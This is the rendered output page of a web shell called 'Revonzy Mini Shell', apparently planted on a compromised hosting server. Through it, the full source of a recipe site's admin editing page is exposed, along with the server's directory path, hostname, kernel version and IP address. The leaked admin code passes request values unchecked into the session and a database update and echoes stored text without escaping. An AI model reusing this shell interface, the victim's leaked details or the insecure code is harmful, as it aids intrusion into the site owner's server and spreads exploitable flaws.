Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/kitchenfoodrecipes.com/dt_admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/kitchenfoodrecipes.com/dt_admin/edit-post-article-contents.php

<?php
    require_once('lib/functions.php');
	$db = new login_function();

	$content_type	=	"";
	$code_no		=	"";
    $description	=	"";		           
    $attachment	 	=	"";
	$another_description	=	"";
    $error_flag     = 0;
    $success_message    =   0;
	$content_id	=	"";
	
 	if(isset($_GET['blog_post_id']))
	{ 
		$blog_post_id	=	$_GET['blog_post_id'];
		$content_type	=	$_GET['code_no'];
		$content_id	=	$_GET['content_id'];
		
		$_SESSION['blog_post_id']	=	$blog_post_id;
		$_SESSION['code_no']		=	$code_no;
		$_SESSION['content_id']		=	$content_id;
	}
	else if(isset($_SESSION['blog_post_id']))
	{
		$blog_post_id	=	$_SESSION['blog_post_id'];
		$content_type	=	$_SESSION['code_no'];
		$content_id	=	$_SESSION['content_id'];		
	}

	if(isset($_POST['submit']))
	{
		$content_type		=	$_POST['content_type'];

		if($content_type==1 OR $content_type==2 OR $content_type==3 OR $content_type==5 OR $content_type==6 OR $content_type==7 OR $content_type==8 OR $content_type==10 OR $content_type==13 OR $content_type==14 OR $content_type==15 OR $content_type==16 OR $content_type==17 OR $content_type==9 OR $content_type==11 OR $content_type==19 OR $content_type==20 OR $content_type==21)
		{
			$description			=	$_POST['description'];
		}
		else if($content_type==4)
		{
			$description			=	$_POST['index_no_index'];
		}
		else if($content_type==12)
		{			
			$description			=	$_POST['description'];
			$another_description	=	$_POST['link_enter_id'];
		}

        $check_exist_code_no    =   "'1','2','3','4','5','11','19','20'";

        //check if meta tags already exist for post/article
        /*if($content_type==1 OR $content_type==2 OR $content_type==3 OR $content_type==4 OR $content_type==5 OR $content_type==11 OR $content_type==19 OR $content_type==20)
        {
            $check_exist = $db->get_exist_tags_from_tag_code_no($blog_post_id,$content_type);

            if($check_exist!="")
            {
                //Set exist error
                $error_flag =1;
                $success_message    =   2;
            }
        }*/

		if ($error_flag ==0)
		{
			/*
			if($content_type==9 OR $content_type==11)
			{		
				
					//Allowed extensions to upload file
						$valid_formats = array("jpg","png","gif","bmp","jpeg","pdf","JPEG","JPG","BMP","PNG","GIF","PDF");
			
				//Check Post method
				if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
				{	
					//Get name of choosen file
					$name 				= 	$_FILES['attachment']['name'];
					//Get Size of choosen file
					$size 				= 	$_FILES['attachment']['size'];
					
					//If file name is greater than 0 then execute if loop
					if(strlen($name))
						{				
							//Separate the extension and text name of file in separate variables
							list($txt, $ext) = explode(".", $name);
							
							//Check, if the extension is allowed in formats
							if(in_array($ext,$valid_formats))
							{
		
							//Generate random name function for file
							function generateRandomString($length = 5) {
							$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
							$charactersLength = strlen($characters);
							$randomString = '';
							for ($i = 0; $i < $length; $i++) 
							{
								$randomString .= $characters[rand(0, $charactersLength - 1)];
							}
							return $randomString;
						}
								
								//Call random name function and store in variable
								$current_random_string = generateRandomString();
								
								//Join the Variables to Make Complete name of file
								//$file_name = $current_random_string.".".strtolower($ext);					
								$file_name = $description." ".$current_random_string.".".strtolower($ext);

								//5 Space Replace
								$file_name = str_replace("     ","-",$file_name);
								//4 Space Replace
								$file_name = str_replace("    ","-",$file_name);
								//3 Space Replace
								$file_name = str_replace("   ","-",$file_name);
								//2 Space Replace
								$file_name = str_replace("  ","-",$file_name);
								//1 Space Replace
								$file_name = str_replace(" ","-",$file_name);

								//Catch the temporary location of choosen file or path
								$tmp = $_FILES['attachment']['tmp_name'];
								
								//Specify folder where to upload the posted image file
								$img_Dir = "../post-images/";
								
								//Check if folder exist or not
								if(!file_exists($img_Dir))
								{
									//If foldwer not exist, make the folder
									mkdir($img_Dir);
								}
								
								//Copy the file from temp location or from path to your specified path
								if(move_uploaded_file($tmp,$img_Dir.$file_name))
								{
									$another_description = $file_name;
								}
								else
								{
									$image_error	=	"failed" ;
									$flag				=	1;
								}	
							}
					}
				}	
			}*/

			if($db->update_post_content_details($content_id,$content_type,$description,$another_description))
			{
				$success_message	=	1;
			}
		}
		
	}


    /*
	$data	=	array();
    $data	=	$db-> get_post_record_from_id($var_edit_id);

if(!empty($data))
{
		$id				    =	$data[0];
		$category			=	$data[1];
		$title		        =	$data[2];
		$description		=	$data[3];
		$link			    =	$data[4];
		$image				=	$data[5];
		$date			    =	$data[6];
		$time				=	$data[7];
	
}*/
 	
$description = $db->get_description_from_content_id($content_id);
	
?>
<!DOCTYPE html>
<html lang="en">

<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width initial-scale=1.0">
    <title><?php echo $project_title; ?></title>
    <!-- GLOBAL MAINLY STYLES-->
   <link href="css/bootstrap.min.css" rel="stylesheet" />
    <link href="css/font-awesome.min.css" rel="stylesheet" />
    <link href="css/line-awesome.min.css" rel="stylesheet" />
    <link href="css/themify-icons.css" rel="stylesheet" />
    <link href="css/animate.min.css" rel="stylesheet" />
    <link href="css/toastr.min.css" rel="stylesheet" />
    <link href="css/bootstrap-select.min.css" rel="stylesheet" />
	<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">
  
    <!-- PLUGINS STYLES-->
    <!-- THEME STYLES-->
    <link href="css/main.min.css" rel="stylesheet" />
    <!-- PAGE LEVEL STYLES-->
<style>
.col-md-8
{
	width:100%;
	margin:auto;
	margin-top:20px;
}

@media only screen and (max-width: 600px) {
	.col-md-8
	{
		margin:30px;
		width:100%;
	}
	.alert
	{
		width:100%;
	}
	.side-row
	{
		width:49%;
		display:inline-table;
	}
}

</style>
</head>

<body class="fixed-navbar">
    <div class="page-wrapper">
        <?php include('header.php'); ?>
        <?php include('side-bar.php'); ?>
			<div class="content-wrapper" style="padding-top:70px !important;">
               <div class="row">
				 <div class="col-md-12">
                        <div class="ibox">
                            <form class="form-pink" method="post"  name="myForm"  onsubmit="return validateForm()" autocomplete=	"off" enctype="multipart/form-data">	
								<?php
								if($success_message ==1)
								{
								?>
									<div class="alert alert-success">
									<span class="alert-link">Success!</span>Post contents inserted.
									</div>
								<?php
								}
								?>

                                <?php
								if($success_message ==2)
								{
								?>
									<div class="alert alert-danger">
									<span class="alert-link">Failed!</span>This Tag Already Exist
									</div>
								<?php
								}
								?>
									
                                <div class="ibox-head">
                                    <div class="ibox-title"> <i class="sidebar-item-icon fas fa-user-cog"></i>Edit Post Information</div>
                                </div>
                                <div class="ibox-body">
                                  <!--<div class="form-group mb-4 col-md-6 col-sm-12 col-lg-6 col-xs-12" style="float:left;">
								  <label class="form-group mb-4 set-row"><b>Select Category:</b></label>

									<div class="input-group-icon input-group-icon-left">
									<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<select name="category_id" class="form-control form-control-air" >
										 <?php
											$data	=	array();
											$data	=	$db->get_multiple_rows_of_jewellery_category();

											if(!empty($data))
											{
												$counter=0;
												foreach($data as $record)
												{
													$cat_id			                         =	$record[0];
													$category_name			                 =	$record[1];
													$icon_image			                     =  $record[2];
													$date				                     =	$record[3];
													$time				                     =	$record[4];
		
											
											?>
											<option value="<?php echo $cat_id; ?>" <?php if($category==$cat_id){ ?>selected <?php } ?>><?php echo $category_name; ?></option>
											<?php
													$counter++;		
												}
											}
											?>
											
										  </select>
									</div>
								</div>-->

                                <div class="form-group mb-4 col-md-6 col-sm-12 col-lg-6 col-xs-12" style="">
								  <label class="form-group mb-4 set-row"><b>Select Content Type:</b></label>

									<div class="input-group-icon input-group-icon-left">
									<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<select id="select_element" name="content_type" class="form-control form-control-air" readonly>
										    <option value="0">Select Tag</option>	
										    <option value="21" <?php if($content_type==21){ ?>selected <?php } ?>>Flash News</option>
										    <option value="20" <?php if($content_type==20){ ?>selected <?php } ?>>Article Author</option>
                                            <option value="5" <?php if($content_type==5){ ?>selected <?php } ?>>Article Main Title</option>
                                            <option value="11" <?php if($content_type==11){ ?>selected <?php } ?>>Thumbnail Image</option>
                                            <option value="8" <?php if($content_type==8){ ?>selected <?php } ?>>Paragraph</option>
                                            <option value="9" <?php if($content_type==9){ ?>selected <?php } ?>>Image</option>
                                            <option value="6" <?php if($content_type==6){ ?>selected <?php } ?>>Sub Title</option>
                                            <option value="7" <?php if($content_type==7){ ?>selected <?php } ?>>Inside Sub Title</option>
                                            <option value="10" <?php if($content_type==10){ ?>selected <?php } ?>>Video Link</option>
                                            <option value="1" <?php if($content_type==1){ ?>selected <?php } ?>>Page Title Tag</option>
                                            <option value="2" <?php if($content_type==2){ ?>selected <?php } ?>>Keywords</option>
                                            <option value="3" <?php if($content_type==3){ ?>selected <?php } ?>>Description</option>
                                            <option value="4" <?php if($content_type==4){ ?>selected <?php } ?>>Index/No Index</option>                                            
                                            <option value="12" <?php if($content_type==12){ ?>selected <?php } ?>>External Link</option>
                                            <option value="13" <?php if($content_type==13){ ?>selected <?php } ?>>Google Ad</option>
                                            <option value="14" <?php if($content_type==14){ ?>selected <?php } ?>>Bullet 1</option>
                                            <option value="15" <?php if($content_type==15){ ?>selected <?php } ?>>Bullet 2</option>
                                            <option value="16" <?php if($content_type==16){ ?>selected <?php } ?>>Bullet 3</option>
                                            <option value="17" <?php if($content_type==17){ ?>selected <?php } ?>>Bullet 4</option>
											<option value="18" <?php if($content_type==18){ ?>selected <?php } ?>>Horizontal Line (HR)</option>
											<option value="19" <?php if($content_type==19){ ?>selected <?php } ?>>English Title</option>
										</select>
									</div>
								</div>

                                <div id="image_input_box" class="form-group mb-4  col-md-12 col-sm-12 col-lg-12 col-xs-12" style="display:none;">
                                <label class="form-group mb-4 set-row"><b>Select Image:</b></label>
									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input id="image_select_id" type="file" class="form-control form-control-air" value="" name="attachment">
									</div>
								</div>
								
								<div id="link_box_area" class="form-group mb-4  col-md-12 col-sm-12 col-lg-12 col-xs-12" style="display:none;">
                                <label class="form-group mb-4 set-row"><b>Select Image:</b></label>
									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input type="text" id="link_enter_id" class="form-control form-control-air" value="" placeholder="Enter Link Address" name="link_enter_id">
									</div>
								</div>

								<div id="description_box_area" class="form-group mb-12 col-md-12 col-sm-12 col-lg-12 col-xs-12" style="">
								  <label class="form-group mb-4 set-row"><b>Enter Description:</b></label>
									<div class="input-group-icon input-group-icon-left">
									<textarea id="description_box_id" class="form-control form-control-air" placeholder="Enter Description" name="description"  style="height:200px; font-size:20px;"><?php echo $description; ?></textarea>
									</div>
								</div>

								<div id="select_index_no_index" class="form-group mb-12 col-md-12 col-sm-12 col-lg-12 col-xs-12"  style="display:none;">
								  <label class="form-group mb-4 set-row"><b>Enter Description:</b></label>
									<div class="input-group-icon input-group-icon-left">
									<select id="select_element_index" name="index_no_index" class="form-control form-control-air">
										<option value="Select">Select</option>
										<option value="index, follow">index, follow</option>
										<option value="index, nofollow">index, nofollow</option>	    
										<option value="noindex,nofollow">noindex,nofollow</option>
									</select>
									</div>
								</div>


								 <!--<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Enter Title:</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input type="text"  class="form-control form-control-air" placeholder="Enter Title"  name="title" value ="<?php echo $title; ?>" required  />
									</div>
								</div>-->
								

                                

								<!--<div class="form-group mb-4">
								  <label class="form-group mb-4 set-row"><b>Enter Link:</b></label>

									<div class="input-group-icon input-group-icon-left">
										<span class="input-icon input-icon-left"><i class="fas fa-lock"></i></span>
										<input type="text"  class="form-control form-control-air" placeholder="Enter Link "  name="link" value ="<?php echo $link; ?>" required  />
									</div>
								</div>-->
								</div>
								
								<div class="ibox-footer">
                                   <center><button class="btn btn-pink btn-air mr-2" id="submit_btn" type="submit" name="submit">UPDATE DATA</button></center>
                                </div>
                            </form>
                        
                        </div>
                    </div>
                </div>
			</div>
			
			<?php include('footer.php'); ?>
   
    <?php include('search.php'); ?>
    <!-- END SEARCH PANEL-->
    <!-- BEGIN THEME CONFIG PANEL-->
    
    <!-- END THEME CONFIG PANEL-->
    <!-- BEGIN PAGA BACKDROPS-->
    <div class="sidenav-backdrop backdrop"></div>
    <div class="preloader-backdrop">
        <div class="page-preloader">Loading</div>
    </div>
    <!-- END PAGA BACKDROPS-->
    <!-- New question dialog-->
    
    <!-- End New question dialog-->
    <!-- QUICK SIDEBAR-->
    <?php include('right-side-bar.php'); ?>
	
	
   <script src="js/jquery.min.js"></script>
    <script src="js/popper.min.js"></script>
    <script src="js/bootstrap.min.js"></script>
    <script src="js/metisMenu.min.js"></script>
    <script src="js/jquery.slimscroll.min.js"></script>
    <script src="js/idle-timer.min.js"></script>
    <script src="js/toastr.min.js"></script>
    <script src="js/jquery.validate.min.js"></script>
    <script src="js/bootstrap-select.min.js"></script>
    <!-- PAGE LEVEL PLUGINS-->
    <!-- CORE SCRIPTS-->
    <script src="js/app.min.js"></script>
    <!-- PAGE LEVEL SCRIPTS-->
	<script type="text/javascript" src="http://js.nicedit.com/nicEdit-latest.js"></script>
	<!--<script type="text/javascript">
//<![CDATA[
        bkLib.onDomLoaded(function() { nicEditors.allTextAreas() });
  //]]>
  </script>--->
  <script type="text/javascript">
$(document)	.ready(function(){
	$('#select_element').on('change', function() {
		var selected_val =  $(this).find(":selected").val();
		if(selected_val==1 || selected_val==2 || selected_val==3 || selected_val==5 || selected_val==6 || selected_val==7 || selected_val==8 || selected_val==10 || selected_val==13 || selected_val==14 || selected_val==15 || selected_val==16 || selected_val==17 || selected_val==19 || selected_val==20 || selected_val==21)
		{
			$("#description_box_area").show();
			$('#description_box_id').show();
			$('#description_box_id').val("");
			$("#submit_btn").show();

			$("#image_input_box").hide();
			$("#image_select_id").hide();

			$("#select_index_no_index").hide();
			$("#select_element_index").hide();
			$("#select_element_index").css("display", "none");

			$("#link_box_area").hide();
			$("#link_enter_id").hide();
		}
		else if(selected_val==4)
		{
			$("#image_input_box").hide();
			$("#image_select_id").hide();
			$("#description_box_area").hide();
			$('#description_box_id').hide();
			$("#select_index_no_index").show();
			$("#select_element_index").show();
			$("#submit_btn").show();
			$("#link_box_area").hide();
			$("#link_enter_id").hide();
		}
		else if(selected_val==9 || selected_val==11)
		{
			$("#image_input_box").show();
			$("#image_select_id").show();
			$("#description_box_area").show();
			$('#description_box_id').show();
			$("#select_index_no_index").hide();
			$("#select_element_index").hide();
			$("#submit_btn").show();
			$("#link_box_area").hide();
			$("#link_enter_id").hide();
		}
		else if(selected_val==12)
		{
			$("#image_input_box").hide();
			$("#image_select_id").hide();
			$("#description_box_area").show();
			$('#description_box_id').show();
			$("#link_box_area").show();
			$("#link_enter_id").show();
			$("#select_index_no_index").hide();
			$("#select_element_index").hide();
			$("#submit_btn").show();
		}
		else if(selected_val==18)
		{
			$("#image_input_box").hide();
			$("#image_select_id").hide();
			$("#description_box_area").hide();
			$('#description_box_id').hide();
			$("#select_index_no_index").hide();
			$("#select_element_index").hide();
			$("#submit_btn").show();
			$("#link_box_area").hide();
			$("#link_enter_id").hide();
		}
		else
		{
			$("#description_box_area").hide();
			$('#description_box_id').hide();
			$("#submit_btn").hide();

			$("#image_input_box").hide();
			$("#image_select_id").hide();
			$("#select_index_no_index").hide();
			$("#select_element_index").hide();
			$("#link_box_area").hide();
			$("#link_enter_id").hide();
		}

	});
	
	$('#submit_btn').on('click', function() {
		var selected_val =  $("#select_element").find(":selected").val();

		if(selected_val==1 || selected_val==2 || selected_val==3 || selected_val==5 || selected_val==6 || selected_val==7 || selected_val==8 || selected_val==10 || selected_val==13 || selected_val==14 || selected_val==15 || selected_val==16 || selected_val==17 || selected_val==20 || selected_val==21)
		{
			var selected_value = $("#description_box_id").val();
			if(selected_value=="")
			{
				alert("Please enter value");
				$("#description_box_id").focus();
				return false;
			}
		}
		else if(selected_val==4)
		{
			var selected_value = $("#select_element_index").find(":selected").val();
			if(selected_value=="Select")
			{
				alert("Please select index value");
				$("#select_element_index").focus();
				return false;
			}
			else
			{
				var selected_value = $("#select_element_index").find(":selected").text();

				if (confirm("You Selected This Value :- " + selected_value)) {
					
				} else {
					alert('Submission Cancelled');
					return false;
				}
			}
		}
		else if(selected_val==9 || selected_val==11)
		{
			var selected_value_image = $("#image_select_id").val();
			var selected_value_description = $("#description_box_id").val();

			if(selected_value_image=="")
			{
				alert("Please select image");
				$("#image_select_id").focus();
				return false;
			}
			if(selected_value_description=="")
			{
				alert("Please enter value");
				$("#description_box_id").focus();
				return false;
			}	
		}
		else if(selected_val==12)
		{
			var selected_link_enter_id = $("#link_enter_id").val();
			var selected_value_description = $("#description_box_id").val();
			if(selected_link_enter_id=="")
			{
				alert("Please enter link ");
				$("#link_enter_id").focus();
				return false;
			}
			if(selected_value_description=="")
			{
				alert("Please enter description ");
				$("#description_box_id").focus();
				return false;
			}
		}


	});
});
</script>
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4